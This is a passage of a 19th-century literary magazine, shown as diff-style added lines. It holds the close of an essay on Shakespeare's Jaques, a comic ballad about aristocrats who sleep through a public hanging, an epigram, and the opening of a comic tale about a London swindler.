+trite in illustration. Are there no other evils to assail us through the
+agony of life? And when the conclusion comes, how far less tragic is the
+portraiture of mental imbecility, if considered as a state of misery
+than as one of comparative happiness, as escaping a still worse lot!
+Crabbe is sadder far than Jaques, when, after his appalling description
+of the inmates of a workhouse,--(what would Crabbe have written
+_now_?)--he winds up by showing to us amid its victims two persons as
+being
+
+            "_happier_ far than they,
+    The moping idiot, and the madman gay."
+
+If what he here sums up as the result of his life's observations on
+mankind be all that calls forth the melancholy of the witty and eloquent
+speaker, he had not much to complain of. Mr. Shandy lamenting in sweetly
+modulated periods, because his son has been christened Tristram instead
+of Trismegistus, is as much an object of condolence. Jaques has just
+seen the aspect of famine, and heard the words of despair; the Duke
+has pointed out to him the consideration that more woful and practical
+calamities exist than even the exile of princes and the downfall of
+lords; and he breaks off into a light strain of satire, fit only for
+jesting comedy. Trim might have rebuked him as he rebuked the prostrate
+Mr. Shandy, by reminding him that there are other things to make us
+melancholy in the world: and nobody knew it better, or could say it
+better, than he in whose brain was minted the hysteric passion of Lear
+choked by his button,--the farewell of victorious Othello to all the
+pomp, pride, and circumstance of glorious war,--the tears of Richard
+over the submission of roan Barbary to Bolingbroke,--the demand of Romeo
+that the Mantuan druggist should supply him with such soon-speeding gear
+that will rid him of hated life
+
+    "As violently as hasty powder fired
+    Doth hurry from the fatal cannon's womb,"--
+
+the desolation of Antony,--the mourning of Henry over sire slain by
+son, and son by sire,--or the despair of Macbeth. I say nothing of the
+griefs of Constance, or Isabel, or Desdemona, or Juliet, or Ophelia,
+because in the sketches of Jaques he passes by all allusion to women; a
+fact which of itself is sufficient to prove that his melancholy was but
+in play,--was nothing more than what Arthur remembered when he was in
+France, where
+
+    "Young gentlemen would be as sad as night,
+    Only for wantonness."
+
+Shakespeare well knew that there is no true pathetic, nothing that can
+permanently lacerate the heart, and embitter the speech, unless a woman
+be concerned. It is the legacy left us by Eve. The tenor of man's woe,
+says Milton, with a most ungallant and grisly pun, is still from _wo_-man
+to begin; and he who will give himself a few moments to reflect will
+find that the stern trigamist is right. On this, however, I shall not
+dilate. I may perhaps have something to say, as we go on, of the ladies
+of Shakspeare. For the present purpose, it is enough to remark with
+Trim, that there are many real griefs to make a man lie down and cry,
+without troubling ourselves with those which are put forward by the
+poetic mourner in the forest of Arden.
+
+Different indeed is the sight set before the eyes of Adam in the great
+poem just referred to, when he is told to look upon the miseries
+which the fall of man has entailed upon his descendants. Far other
+than the scenes that flit across this melancholy man by profession
+are those evoked by Michael in the visionary lazar-house. It would be
+ill-befitting, indeed, that the merry note of the sweet bird warbling
+freely in the glade should be marred by discordant sounds of woe,
+cataloguing the dreary list of disease,
+
+                    "All maladies
+    Of ghastly spasm, or racking torture, qualms
+    Of heartsick agony, all feverous kinds,
+    Convulsions, epilepsies, fierce catarrhs,
+    Intestine stone and ulcer, colic pangs,
+    Demoniac frenzy, moping melancholy,
+    Marasmus, and wide-wasting pestilence,
+    Dropsies, and asthmas, and joint-racking rheums;"
+
+while, amid the dire tossing and deep groans of the sufferers,
+
+              "----Despair
+    Tended the sick, busiest from couch to couch;
+    And over them triumphant Death his dart
+    Shook, but delayed to strike."
+
+And equally ill-befitting would be any serious allusion to those
+passions and feelings which in their violence or their anguish
+render the human bosom a lazar-house filled with maladies of the
+mind as racking and as wasting as those of the body, and call forth
+a supplication for the releasing blow of Death as the final hope,
+with an earnestness as desperate, and cry as loud as ever arose from
+the tenement, sad, noisome, and dark, which holds the joint-racked
+victims of physical disease. Such themes should not sadden the festive
+banquet in the forest. The Duke and his co-mates and partners in exile,
+reconciled to their present mode of life, ["I would not change it," says
+Amiens, speaking, we may suppose, the sentiments of all,] and successful
+in having plucked the precious jewel, content, from the head of ugly and
+venomous Adversity, are ready to bestow their woodland fare upon real
+suffering, but in no mood to listen to the heart-rending descriptions of
+sorrows graver than those which form a theme for the discourses which
+Jaques in mimic melancholy contributes to their amusement.
+
+Shakspeare designed him to be a maker of fine sentences,--a dresser
+forth in sweet language of the ordinary common-places or the
+common-place mishaps of mankind, and he takes care to show us that
+he did not intend him for anything beside. With what admirable art
+he is confronted with Touchstone. He enters merrily laughing at the
+pointless philosophising of the fool in the forest. His lungs crow like
+chanticleer when he hears him moralizing over his dial, and making the
+deep discovery that ten o'clock has succeeded nine, and will be followed
+by eleven. When Touchstone himself appears, we do not find in his own
+discourse any touches of such deep contemplation. He is shrewd, sharp,
+worldly, witty, keen, gibing, observant. It is plain that he has been
+mocking Jaques; and, as is usual, the mocked thinks himself the mocker.
+If one has moralized the spectacle of a wounded deer into a thousand
+similes, comparing his weeping into the stream to the conduct of
+worldlings in giving in their testaments the sum of more to that which
+had too much,--his abandonment, to the parting of the flux of companions
+from misery,--the sweeping by of the careless herd full of the pasture,
+to the desertion of the poor and broken bankrupt by the fat and greasy
+citizens,--and so forth; if such have been the common-places of Jaques,
+are they not fitly matched by the common-places of Touchstone upon his
+watch? It is as high a stretch of fancy that brings the reflection how
+
+    "----from hour to hour we ripe and ripe,
+    And then from hour to hour we rot and rot,
+    And thereby hangs a tale,"
+
+which is scoffed at by Jaques, as that which dictates his own
+moralizings on the death of the deer. The motley fool is as wise as the
+melancholy lord whom he is parodying. The shepherd Corin, who replies
+to the courtly quizzing of Touchstone by such apophthegms as that "it
+is the property of rain to wet, and of fire to burn," is unconsciously
+performing the same part to the clown, as _he_ had been designedly
+performing to Jaques. Witty nonsense is answered by dull nonsense, as
+the emptiness of poetry had been answered by the emptiness of prose.
+There was nothing sincere in the lamentation over the wounded stag. It
+was only used as a peg on which to hang fine concepts. Had Falstaff
+seen the deer, his imagination would have called up visions of haunches
+and pasties, preluding an everlasting series of cups of sack among the
+revel riot of boon companions, and he would have instantly ordered
+its throat to be cut. If it had fallen in the way of Friar Lawrence,
+the mild-hearted man of herbs would have endeavoured to extract the
+arrow, heal the wound, and let the hart ungalled go free. Neither would
+have thought the hairy fool a subject for reflections, which neither
+relieved the wants of man nor the pains of beast. Jaques complains of
+the injustice and cruelty of killing deer, but unscrupulously sits down
+to dine upon venison, and sorrows over the sufferings of the native
+burghers of the forest city, without doing anything further than amusing
+himself with rhetorical flourishes drawn from the contemplation of the
+pain which he witnesses with professional coolness and unconcern.
+
+It is evident, in short, that the happiest days of his life are those
+which he is spending in the forest. His raking days are over, and he is
+tired of city dissipation. He has shaken hands with the world, finding,
+with Cowley, that "he and it would never agree." To use an expression
+somewhat vulgar, he has had his fun for his money; and he thinks the
+bargain so fair and conclusive on both sides, that he has no notion of
+opening another. His mind is relieved of a thousand anxieties which
+beset him in the court, and he breathes freely in the forest. The iron
+has not entered into his soul; nothing has occurred to chase sleep from
+his eyelids; and his fantastic reflections are, as he himself takes
+care to tell us, but general observations on the ordinary and outward
+manners and feelings of mankind,--a species of taxing which
+
+    "----like a wild-goose flies,
+    Unclaim'd of any man."
+
+Above all, in having abandoned station, and wealth, and country, to join
+the faithful few who have in evil report clung manfully to their prince,
+he knows that he has played a noble and an honourable part; and they
+to whose lot it may have fallen to experience the happiness of having
+done a generous, disinterested, or self-denying action,--or sacrificed
+temporary interests to undying principle,--or shown to the world
+without, that what are thought to be its great advantages can be flung
+aside, or laid aside, when they come in collision with the feelings and
+passions of the world within,--will be perfectly sure that Jaques, reft
+of land, and banished from court, felt himself exalted in his own eyes,
+and therefore easy of mind, whether he was mourning in melodious blank
+verse, or weaving jocular parodies on the canzonets of the good-humoured
+Amiens.
+
+He was happy "under the greenwood tree." Addison I believe it is who
+says, that all mankind have an instinctive love of country and woodland
+scenery, and he traces it to a sort of dim recollection imprinted upon
+us of our original haunt, the garden of Eden. It is at all events
+certain, that, from the days when the cedars of Lebanon supplied images
+to the great poets of Jerusalem, to that in which the tall tree haunted
+Wordsworth "as a passion," the forest has caught a strong hold of the
+poetic mind. It is with reluctance that I refrain from quoting; but the
+passages of surpassing beauty which crowd upon me from all times and
+languages are too numerous. I know not which to exclude, and I have
+not room for all; let me then take a bit of prose from one who never
+indulged in poetry, and I think I shall make it a case in point. In a
+little book called "Statistical Sketches of Upper Canada, for the use of
+Emigrants, by a Backwoodsman," now lying before me, the author, after
+describing the field-sports in Canada with a precision and a _goût_
+to be derived only from practice and zeal, concludes a chapter, most
+appropriately introduced by a motto from the Lady of the Lake,
+
+    "'Tis merry, 'tis merry in good greenwood,
+      When the mavis and merle are singing,
+    When the deer sweep by, and the hounds are in cry,
+      And the hunter's horn is ringing,"
+
+by saying,
+
+"It is only since writing the above that I fell in with the first volume
+of Moore's Life of Lord Edward Fitzgerald; and I cannot describe the
+pleasure I received from reading his vivid, spirited, and accurate
+description of the feelings he experienced on first taking on him the
+life of a hunter. At an earlier period of life than Lord Edward had
+then attained, I made my debut in the forest, and first assumed the
+blanket-cloak and the rifle, the moccasin and the snowshoe; and the
+ecstatic feeling of Arab-like independence, and the utter contempt for
+the advantage and restrictions of civilization, which he describes, I
+then felt in its fullest power. And even now, when my way off life,
+like Macbeth's, is falling 'into the sere, the yellow leaf,' and
+when a tropical climate, privation, disease, and thankless toil are
+combining with advancing years to unstring a frame the strength of
+which once set hunger, cold, and fatigue at defiance, and to undermine a
+constitution that once appeared iron-bound, still I cannot lie down by
+a fire in the woods without the elevating feeling which I experienced
+formerly returning, though in a diminished degree. This must be human
+nature;--for it is an undoubted fact, that no man who associates with
+and follows the pursuits of the Indian, for any length of time, ever
+voluntarily returns to civilized society.
+
+"What a companion in the woods Lord Edward must have been! and how
+shocking to think that, with talents which would have made him at once
+the idol and the ornament of his profession, and affections which must
+have rendered him an object of adoration in all the relations of private
+life,--with honour, with courage, with generosity, with every unit
+that can at once ennoble and endear,--he should never have been taught
+that there is a higher principle of action than the mere impulse of
+the passions,--that he should never have learned, before plunging his
+country into blood and disorder, to have weighed the means he possessed
+with the end he proposed, or the problematical good with the certain
+evil!--that he should have had Tom Paine for a tutor in religion and
+politics, and Tom Moore for a biographer, to hold up as a pattern,
+instead of warning, the errors and misfortunes of a being so noble,--to
+subserve the revolutionary purposes of a faction, who, like Samson, are
+pulling down a fabric which will bury both them and their enemies under
+it."
+
+Never mind the aberrations of Lord Edward Fitzgerald, the religion or
+the politics of Tom Paine, or the biography of Tom Moore. On all these
+matters I may hold my own opinions, but they are not wanted now; but
+have we not here the feelings of Jaques? Here are the gloomy expressions
+of general sorrow over climate, privation, disease, thankless toil,
+advancing years, unstrung frame. But here also we have ecstatic
+emotions of Arab-like independence, generous reflections upon political
+adversaries, and high-minded adherence to the views and principles which
+in his honour and conscience he believed to be in all circumstances
+inflexibly right, coming from the heart of a forest. The Backwoodsman is
+Dunlop; and is he, in spite of this sad-sounding passage, melancholy?
+Not he, in good sooth. The very next page to that which I have quoted is
+a description of the pleasant mode of travelling in Canada, before the
+march of improvement had made it comfortable and convenient.[102]
+
+"But your march of improvement is a sore destroyer of the romantic
+and picturesque. A gentleman about to take such a journey now-a-days,
+orders his servant to pack his portmanteau, and put it on board the
+John Molson, or any of his family; and at the stated hour he marches
+on board, the bell rings, the engine is put in motion, and away you go
+smoking, and splashing, and walloping along, at the rate of ten knots
+an hour, in the ugliest species of craft that ever disfigured a marine
+landscape."
+
+Jaques was just as woe-begone as the Tyger, and no more. I remember when
+he--Dunlop I mean, not Jaques--used to laugh at the phrenologists of
+Edinburgh for saying, after a careful admeasurement, that his skull in
+all points was exactly that of Shakspeare,--I suppose he will be equally
+inclined to laugh when he finds who is the double an old companion has
+selected for him. But no matter. His melancholy passes away not more
+rapidly than that of Jaques; and I venture to say that the latter, if he
+were existing in flesh and blood, would have no scruple in joining the
+doctor this moment over the bowl of punch which I am sure he is brewing,
+has brewed, or is about to brew, on the banks of Huron or Ontario.
+
+Whether he would or not, he departs from the stage with the grace and
+easy elegance of a gentleman in heart and manners. He joins his old
+antagonist the usurping Duke in his fallen fortunes; he had spurned
+him in his prosperity: his restored friend he bequeaths to his former
+honour, deserved by his patience and his virtue,--he compliments Oliver
+on his restoration to his land, and love, and great allies,--wishes
+Silvius joy of his long-sought and well-earned marriage,--cracks
+upon Touchstone one of those good-humoured jests to which men of the
+world on the eve of marriage must laughingly submit,--and makes his
+bow. Same sage critics have discovered as a great geographical fault
+in Shakspeare, that he introduces the tropical lion and serpent into
+Arden, which, it appears, they have ascertained to lie in some temperate
+zone. I wish them joy of their sagacity. Monsters more wonderful are
+to be found in that forest; for never yet, since water ran and tall
+tree bloomed, were there gathered together such a company as those who
+compose the _dramatis personæ_ of "As You Like It." All the prodigies
+spawned by Africa, "_leonum arida nutrix_," might well have teemed in
+a forest, wherever situate, that was inhabited by such creatures as
+Rosalind, Touchstone, and Jaques.
+
+       *       *       *       *       *
+
+   * * As to the question which opened these Papers,--why, I must
+    *  leave it to the jury. Is the jesting, revelling, rioting
+   Falstaff, broken of fortunes, luckless in life, sunk in habits,
+   buffeting with the discreditable part of the world, or the
+   melancholy, mourning, complaining Jaques, honourable of conduct,
+   high in moral position, fearless of the future, and lying in the
+   forest away from trouble,--which of them, I say, feels more the
+   load of care? I think Shakspeare well knew, and depicted them
+   accordingly. But I must leave it to my readers, _si qui sunt_.
+                                                        W. M.
+
+[97] It may be thus attempted in something like the metre of the
+     original, which the learned know by the sounding name of
+     Tetrameter Iambic Acatalectic:
+
+       "Does Clinia talk of misery? Believe his idle tale who can?
+     What hinders it that he should have whate'er is counted good for
+           man,--
+     His father's home, his native land, with wealth, and friends, and
+           kith and kin?
+     But all these blessings will be prized according to the mind
+           within:
+     Well used, the owner finds them good; if badly used, he deems them
+           ill.
+       _Cl._ Nay, but his sire was always stern, and even now I fear him
+           still," &c.
+
+[98] This is printed as prose, but assuredly it is blank verse.
+     The alteration of a syllable or two, which in the corrupt state of
+     the text of these plays is the slightest of all possible critical
+     licenses, would make it run perfectly smooth. At all events, in the
+     second line, "emulation" should be "emulative," to make it agree
+     with the other clauses of the sentence. The courtier's melancholy is
+     not _pride_, nor the soldier's _ambition_, &c. The adjective is used
+     throughout,--_fantastical_, _proud_, _ambitious_, _politic_, _nice_.
+
+[99] "Senectus ipsa est morbus."--Ter. Phorm. iv. i. 9.
+
+[100] Query _on_? "Where_in_ we play _in_" is tautological. "Wherein we
+      play _on_," _i.e._ "continue to play."
+
+[101] Psalm xc. "A prayer of Moses, the man of God," v. 10.
+
+[102] Formerly, that is to say, previous to the peace of 1815, a journey
+between Quebec and Sandwich was an undertaking considerably more tedious
+and troublesome than the voyage from London to Quebec. In the first
+place, the commissariat of the expedition had to be cared for; and to
+that end every gentleman who was liable to travel had, as a part of his
+appointments, a provision basket, which held generally a cold round of
+beef, tin plates and drinking-cups, tea, sugar, biscuits, and about a
+gallon of brandy. These, with your wardrobe and a camp-bed, were stowed
+away in a batteau, or flat-bottomed boat; and off you set with a crew
+of seven stout, light-hearted, jolly, lively Canadians, who sung their
+boat-songs all the time they could spare from smoking their pipe. You
+were accompanied by a fleet of similar boats, called a brigade, the
+crews of which assisted each other up the rapids, and at night put into
+some creek, bay, or uninhabited island, where fires were lighted, tents
+made of the sails, and the song, the laugh, and the shout were heard,
+with little intermission, all the night through; and if you had the
+felicity to have among the party a fifer or a fiddler, the dance was
+sometimes kept up all night,--for, if a Frenchman has a fiddle, sleep
+ceases to be a necessary of life with him. This mode of travelling
+was far from being unpleasant, for there was something of romance and
+adventure in it; and the scenes you witnessed, both by night and day,
+were picturesque in the highest degree. But it was tedious; for you
+were in great luck if you arrived at your journey's end in a month; and
+if the weather were boisterous, or the wind a-head, you might be an
+indefinite time longer.
+
+
+
+
+       FAMILY STORIES.--No. V.--
+     HON. MR. SUCKLE-THUMBKIN'S STORY.
+
+             THE EXECUTION.
+           A SPORTING ANECDOTE.
+
+    My Lord Tomnoddy got up one day;
+        It was half after two,
+        He had nothing to do,
+    So his lordship rang for his cabriolet.
+
+        Tiger Tim
+        Was clean of limb,
+    His boots were polished, his jacket was trim;
+    With a very smart tie in his smart cravat,
+    And a smart cockade on the top of his hat;
+    Tallest of boys, or shortest of men,
+    He stood in his stockings just four foot ten;
+    And he ask'd, as he held the door on the swing,
+    "Pray, did your lordship please to ring?"
+
+    My Lord Tomnoddy he raised his head,
+    And thus to Tiger Tim he said,
+        "Malibran's dead,
+        Duvernay's fled,
+    Taglioni has not yet arriv'd in her stead;
+    Tiger Tim, come tell me true,
+    What may a nobleman find to do?"
+
+    Tim look'd up, and Tim look'd down,
+    He paus'd, and he put on a thoughtful frown,
+    And he held up his hat, and peep'd in the crown,
+    He bit his lip, and he scratch'd his head,
+    He let go the handle, and thus he said,
+    As the door, releas'd, behind him bang'd,
+    "An't please you, my lord, there's a man to be hang'd!"
+
+    My Lord Tomnoddy jump'd up at the news,
+        "Run to M'Fuze,
+        And Lieutenant Tregooze,
+    And run to Sir Carnaby Jenks, of the Blues.
+        Rope-dancers a score
+        I've seen before--
+    Madame Sacchi, Antonio, and Master Blackmore;
+        But to see a man swing
+        At the end of a string,
+    With his neck in a noose, will be quite a new thing!"
+
+    My Lord Tomnoddy stept into his cab--
+    Dark rifle green, with a lining of drab;
+        Through street, and through square,
+        His high-trotting mare,
+    Like one of Ducrow's, goes pawing the air.
+    Adown Piccadilly and Waterloo Place
+    Went the high-trotting mare at a deuce of a pace;
+        She produc'd some alarm,
+        But did no great harm,
+    Save fright'ning a nurse with a child on her arm,
+        Spattering with clay
+        Two urchins at play,
+    Knocking down--very much to the sweeper's dismay--
+    An old woman who wouldn't get out of the way,
+        And upsetting a stall
+        Near Exeter Hall,
+    Which made all the pious Church-Mission folks squall.
+        But eastward afar,
+        Through Temple Bar,
+    My Lord Tomnoddy directs his car;
+        Never heeding their squalls,
+        Or their calls, or their bawls,
+    He passes by Waithman's Emporium for shawls,
+    And, merely just catching a glimpse of St. Paul's,
+        Turns down the Old Bailey,
+        Where, in front of the jail, he
+    Pulls up at the door of the gin-shop, and gaily
+    Cries, "What must I fork out to-night, my trump,
+    For the whole first floor of the Magpie and Stump?"
+
+       *       *       *       *       *
+
+    The clock strikes Twelve--it is dark midnight--
+    Yet the Magpie and Stump is one blaze of light.
+        The parties are met;
+        The tables are set;
+    There is "punch," "cold _without_," "hot _with_," "heavy wet,"
+        Ale-glasses and jugs,
+        And rummers and mugs,
+    And sand on the floor, without carpets or rugs,
+        Cold fowl and cigars,
+        Pickled onions in jars,
+    Welsh rabbits, and kidneys--rare work for the jaws!--
+    And very large lobsters, with very large claws;
+        And there is M'Fuze,
+        And Lieutenant Tregooze,
+    And there is Sir Carnaby Jenks of the Blues,
+        All come to see a man "die in his shoes!"
+
+        The clock strikes One!
+        Supper is done,
+    And Sir Carnaby Jenks is full of his fun,
+    Singing "Jolly companions every one!"
+        My Lord Tomnoddy
+        Is drinking gin-toddy,
+    And laughing at ev'ry thing, and ev'ry body.
+    The clock strikes Two!--and the clock strikes Three!
+    --"Who so merry, so merry as we?"
+        Save Captain M'Fuze,
+        Who is taking a snooze,
+    While Sir Carnaby Jenks is busy at work,
+    Blacking his nose with a piece of burnt cork.
+
+        The clock strikes Four!
+        Round the debtors' door
+    Are gather'd a couple of thousand or more;
+        As many await
+        At the press-yard gate,
+    Till slowly its folding doors open, and straight
+    The mob divides, and between their ranks
+    A waggon comes loaded with posts and with planks.
+
+        The clock strikes Five!
+        The sheriffs arrive,
+    And the crowd is so great that the street seems alive;
+        But Sir Carnaby Jenks
+        Blinks, and winks,
+    A candle burns down in the socket, and stinks.
+        Lieutenant Tregooze
+        Is dreaming of Jews,
+    And acceptances all the bill-brokers refuse;
+        My Lord Tomnoddy
+        Has drunk all his toddy,
+    And just as the dawn is beginning to peep,
+    The whole of the party are fast asleep.
+
+    Sweetly, oh! sweetly, the morning breaks,
+        With roseate streaks,
+    Like the first faint blush on a maiden's cheeks;
+    Seem'd as that mild and clear blue sky
+    Smil'd upon all things far and nigh,
+    All--save the wretch condemn'd to die!
+    Alack! that ever so fair a Sun
+    As that which its course has now begun,
+    Should rise on such scene of misery!
+    Should gild with rays so light and free
+    That dismal, dark-frowning Gallows tree!
+
+    And hark!--a sound comes big with fate,
+    The clock from St. Sepulchre's tower strikes--Eight!--
+    List to that low funereal bell:
+    It is tolling, alas! a living man's knell!
+    And see!--from forth that opening door
+    They come--He steps that threshold o'er
+    Who never shall tread upon threshold more.
+    --God! 'tis a fearsome thing to see
+    That pale wan man's mute agony,
+    The glare of that wild despairing eye,
+    Now bent on the crowd, now turn'd to the sky,
+    As though 'twere scanning, in doubt and in fear,
+    The path of the Spirit's unknown career;
+
+    Those pinion'd arms, those hands that ne'er
+    Shall be lifted again,--not ev'n in prayer;
+    That heaving chest!---- Enough--'tis done!
+    The bolt has fallen!--the Spirit is gone--
+    For weal or for woe is known to but One!
+    Oh! 'twas a fearsome sight! Ah me!
+    A deed to shudder at,--not to see.
+
+    Again that clock!--'tis time, 'tis time!
+    The hour is past:--with its earliest chime
+    The cord is sever'd, the lifeless clay
+    By "dungeon villains" is borne away:
+    Nine!--'twas the last concluding stroke!
+    And then--my Lord Tomnoddy awoke!
+    And Tregooze and Sir Carnaby Jenks arose,
+    And Captain M'Fuze, with the black on his nose;
+    And they stared at each other, as much as to say
+        "Hollo! Hollo!
+        Here's a Rum Go!
+    Why, Captain!--my Lord!--Here's the Devil to pay!
+    The fellow's been cut down and taken away!
+        What's to be done?
+        We've miss'd all the fun!
+    Why, they'll laugh at, and quiz us all over the town,
+    We are all of us done so uncommonly brown!"
+
+    What _was_ to be done?--'twas perfectly plain
+    That they could not well hang the man over again:--
+    What _was_ to be done?--The man was dead!--
+    Nought _could_ be done--nought could be said;
+    So--my Lord Tomnoddy went home to bed!
+
+
+
+
+               EPIGRAM.
+
+    'Tis strange, amid the many trades
+      By which men gather riches,
+    That ridicule should most attach
+      To those who make our breeches!
+    But so it is; yet, as they sew,
+      Rich is the harvest made:
+    Then call not theirs, unseemly wags!
+      A _so-so_ sort of trade.
+                                        R. J.
+
+   [Illustration: The Romance of a Day]
+
+
+
+
+                 THE ROMANCE OF A DAY.
+          A PASSAGE IN THE LIFE OF AN ADVENTURER.
+
+         WITH AN ILLUSTRATION BY GEORGE CRUIKSHANK.
+
+
+When things are at the worst, they are sure to mend, says the old adage;
+and the hero of the following narrative is a case in point. Dick Diddler
+was a distant connexion, by the mother's side, of the famous Jeremy,
+immortalized by Kenny. He was a shrewd, reckless adventurer, gifted
+with an elastic conscience that would stretch like Indian-rubber, and a
+genius for raising the wind unsurpassed by Æolus himself. At the period
+to which this tale refers, he had dissipated at the minor West-end
+hells, and elsewhere, the last farthing of a pittance which he inherited
+from his father; and was considerably in arrears with his landlady, a
+waspish gentlewoman who rented what she complacently termed "an airy
+house" in the windiest quarter of Camden Town. This was embarrassing;
+but Dick was not one to despair. He had high animal spirits, knowledge
+of the world, imperturbable self-possession, good exterior, plausible
+address, and a modesty which he felt persuaded would never stand in the
+way of his advancement.
+
+Thousands of London adventurers, it has been observed, rise in the
+morning without knowing how they shall provide a meal for the day. Our
+hero was just now in this predicament, for he had not even the means
+of procuring a breakfast. Something, however, must be done, and that
+immediately, so he applied himself to a cracked bell which stood on
+his ill-conditioned table; and, while waiting his landlady's answer to
+the tintinnabulary summons, occupied himself by casting a scrutinizing
+glance at his outer Adam. Alas! there was little here to gratify the eye
+of taste and gentility! His coat was in that peculiar state denominated
+"seedy," his linen was as yellow as a sea-sick cockney, and his trousers
+evinced tokens of an antiquity better qualified to inspire reverence
+than admiration.
+
+Just as he had completed his survey, his landlady entered the room,
+accompanied by her first-born,--a hopeful youth, with a fine expanse of
+mouth calculated seriously to perplex a quartern loaf. Dick perused her
+features attentively, and thought he had never before seen her look so
+ugly. But this of course: Venus herself would look a fright, if she came
+to dun for money.
+
+"Ah, poppet, is that you?" exclaimed Dick, affectionately patting the
+urchin's head, by way of an agreeable commencement to the conversation;
+"Why, how the dear boy grows! Blessings on his pretty face: he's the
+very image of his Ma!"
+
+"Come, come, Mr. Diddler," replied Mrs. Dibbs, "that language won't
+do no longer. You've been blessing little Tom twice a day ever since
+you got into my books, but I'm not going to take out my account in
+blessings. Blessings won't pay my milk-score, so I must have my
+money,--and this very day too, for I've got a bill to make up to-morrow."
+
+"Have patience, my good lady, and all will be right."
+
+"Ay, so you've said for the last month; but saying's one thing, and
+doing's another."
+
+"Very good."
+
+"But it ain't very good; it's very bad."
+
+"Well, well, no matter, Mrs. D----"
+
+"No matter! But I say it is a great matter,--a matter of ten pounds
+fifteen shillings, to say nothing of them oysters what you did me out on
+last night."
+
+"Exactly so; and you shall have it all this very day, for it so happens
+that I'm going into the City to receive payment of a debt that has been
+owing me since November last. And this reminds me that I have not yet
+breakfasted; so pray send up--now don't apologise, for you could not
+possibly have known that I had an appointment in Fenchurch-street at ten
+o'clock."
+
+"Breakfast!" exclaimed Mrs. Dibbs with a disdainful toss of her head;
+"no, no; not a mouthful shall you have till I get my money: I'm quite
+sick of your promises."
+
+"Nay, but my dear Mrs. D----"
+
+"It's no use argufying the pint; what I've said, I'll stand to. Come,
+Tom--drat the boy! why don't you come?" and so saying, the choleric
+dame, catching fast hold of her son by the pinafore, flounced out of the
+room, banging the door after her with the emphasis of a hurricane.
+
+Dick remained a few minutes behind, in the hope that breakfast might yet
+be forthcoming: but finding that there was not the slightest prospect of
+his landlady's relenting, he, in the true spirit of an indignant Briton,
+consigned her "eyes" to perdition; and, having thus expectorated his
+wrath, began to furbish up his faded apparel. He tucked in his saffron
+shirt-collar; buttoned up his coat to the chin, refreshing the white
+seams with the "Patent Reviver;" smoothed round his silk hat, which
+luckily was in good preservation; and then rushed out of the house with
+the desperate determination of breakfasting at some one's expense. There
+is nothing like the gastric juice to stimulate a man's ingenuity. It is
+the secret of half the poetic inspiration in our literature.
+
+Chance--or perhaps that ruling destiny which, do what we will, still
+sways all our actions--led Dick's steps in the direction of the
+Hampstead Road. It was a bright, cool, summer morning; the housemaids
+were at work with their brooms outside the cottages; the milkman was
+going his rounds with his "sky-blue;" and the shiny porter-pots yet hung
+upon the garden rails. As our hero moved onward, keeping his mouth close
+shut, lest the lively wind might act too excitingly on his unfurnished
+epigastrum, his attentive optics chanced to fall on a cottage, in the
+front parlour of which, the window being open, he beheld a sight that
+roused all the shark or alderman within him,--to wit, a breakfast set
+forth in a style that might have created an appetite "under the ribs of
+death." Dick stopped: the case was desperate; but his self-possession
+was equal to the emergency. "A Mr. Smith lives here," said he, running
+his eye hastily over the premises: "the bower, and the wooden god, those
+trees so neatly clipped, and that commonplace-looking terrier sleeping
+at the gate, with his nose poked through the rails, all betoken the
+habits and fancies of a Smith. Good! I will favour the gentleman with a
+call;" and with these words Dick gave a vehement pull at the garden-bell.
+
+"Is Mr. Smith at home?" he inquired with an air of easy assurance that
+produced an instant effect on the girl who answered the bell.
+
+"No, sir."
+
+"Upon my life, that's very awkward; particularly so as he requested me
+to be----"
+
+"Oh! I suppose, then, you're the gentleman that was expected here to
+breakfast this morning?"
+
+"The very same, my dear."
+
+"Well," continued the girl, unlocking the gate, "master desired me to
+say that you were to walk in, and not wait for him, for he had to go
+into Tottenham-court Road on business, and should not be back for an
+hour."
+
+Dick took the hint, walked in, and in an instant was hard at work.
+
+How he punished the invigorating coffee! What havoc he wrought among
+the eggs and French rolls! Never was seen such voracity since the days
+of the ventripotent Heliogabalus. His expedition was on a par with his
+prowess, for Mr. Smith's guest being momentarily expected, he felt that
+he had not a moment to lose. Accordingly, after doing prompt, impartial
+justice to every article on table, he coolly rang the bell, and, without
+noticing the muttered "My stars!" of the servant as she glanced at the
+wreck before her, he desired her to tell Mr. Smith that, as he had a
+visit to pay in the neighbourhood, he could not wait longer for him,
+but would call again in the course of the day; and then, putting on
+his hat with an air, he quitted the cottage on the best possible terms
+with himself and all the world. There is nothing like good eating and
+drinking to bring out the humanities.
+
+Having no professional duties to attend to, Dick strolled on to
+Hampstead Heath, where he seated himself on a bench that commands an
+extensive view towards the west and north. Here he continued musing
+upwards of an hour, in that buoyant mood which a good breakfast never
+fails to call forth. It was early yet to trouble himself about dinner or
+his landlady's bill; and Dick was not the man to recognise a grievance
+till it stared him in the face, when, if he could not give it the cut
+direct, he would boldly confront and grapple with it: so he occupied
+himself with whistling one of Macheath's songs in the Beggar's Opera.
+
+While thus idling away his time, and picturing in his mind's eye the
+perplexed visages of Mr. Smith and his guest when they should become
+acquainted with the extent of their calamity, Dick's attention was
+suddenly directed to the sound of voices near him. He listened; and,
+from the dulcet accents in which the conversation was carried on, felt
+persuaded that the parties were making love. Curious to ascertain who
+they were, he retreated behind one of the broadest elms on the terrace,
+and there beheld a dry old maid, thin as a thread-paper, and straight
+as a stick of sealing-wax, smirking and affecting to blush at something
+that was whispered in her ear by a young man. Our adventurer fancied
+that the latter's person was familiar to him; so, the instant the
+enamoured turtles separated, he emerged from his hiding-place, and saw,
+advancing towards the bench he had just quitted, an old com-rogue, to
+whom in his better days he had lost many a sum at the gaming-table.
+
+The recognition was mutual.
+
+"What! Dick Diddler?"
+
+"What! Sam Spragge?"
+
+"Why, Sam, what has brought you here at this hour?" quoth our hero.
+
+Samuel smiled, and pointed significantly towards the ancient virgin, who
+was just then crossing the Heath, near the donkey-stand.
+
+"Hem! I understand. Much property?"
+
+"Eight hundred a year at her own disposal, and two thousand _three per
+cents_ at the death of a crusty, invalid brother-in-law, who lives with
+her in that old-fashioned house she is now entering."
+
+"Eight hundred a year!" said Dick musing; "lucky dog! And how long have
+you known her?"
+
+"Oh! an eternity. Three days."
+
+"And where did you pick her up?"
+
+"Under a gateway in Camden Town, where we were both standing up from the
+rain."
+
+"You seem to have made excellent use of your time."
+
+"Nothing easier. I could see at a glance that she was quite as anxious
+for a husband as I am for a rich wife; so, after some indifferent chat
+about the weather, &c. I prevailed on her to accept of my escort home;
+talked lots of sentiment as we jogged along under my umbrella; praised
+her beauty to the skies,--for she is inordinately vain, though ugly
